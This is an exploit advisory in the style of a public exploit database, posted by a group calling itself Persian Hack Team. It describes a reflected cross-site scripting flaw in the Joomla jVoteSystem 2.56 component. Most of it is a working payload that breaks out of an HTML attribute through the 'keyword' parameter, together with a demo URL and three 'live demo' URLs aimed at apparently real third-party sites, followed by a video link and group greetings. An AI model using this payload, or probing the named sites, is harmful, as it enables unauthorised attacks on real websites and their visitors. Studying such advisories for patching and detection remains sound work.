###################### # Exploit Title : Joomla jVoteSystem 2.56 Component - Cross Site Scripting # Exploit Author : Persian Hack Team # Vendor Homepage : https://joomess.de/projects/jvotesystem # Category [ Webapps ] # Tested on [ Win ] # Version : 2.56 # Date 2016/09/08 ###################### # # PoC # =>Cross Site Scripting : # # Payload : 1" onmouseover=prompt("Persian") bad=" # Keyword Vulnerable To XSS # Demo : # http://www.site.com/index.php?option=com_jvotesystem&view=polls&cat=cw&keyword=1%22%20onmouseover=prompt%28%22MobhaM%22%29%20bad=%22&Itemid=12 # # Live Demo : # http://uosk.com.ua/index.php?option=com_jvotesystem&view=polls&cat=uncategorized&keyword=1%22%20onmouseover=prompt%28%22MobhaM%22%29%20bad=%22 # # http://www.9u4u.be/index.php?option=com_jvotesystem&view=polls&cat=cw&keyword=1%22+onmouseover%3Dprompt%28%22MobhaM%22%29+bad%3D%22&Itemid=12#jvotesystem # # http://www.lmb.org/index.php?option=com_jvotesystem&view=polls&keyword=1%22%20onmouseover=prompt%28%22MobhaM%22%29%20bad=%22&Itemid=974 # Youtube : https://youtu.be/LfxpuV47Q7M ###################### # Discovered by : Mojtaba MobhaM Mail:Kazemimojtaba@live.com # B3li3v3 M3 I will n3v3r St0p # Greetz : T3NZOG4N & FireKernel & Dr.Askarzade & Masood Ostad & Dr.Koorangi & Milad Hacking & JOK3R $ Mr_Mask_Black And All Persian Hack Team Members # Homepage : http://persian-team.ir ######################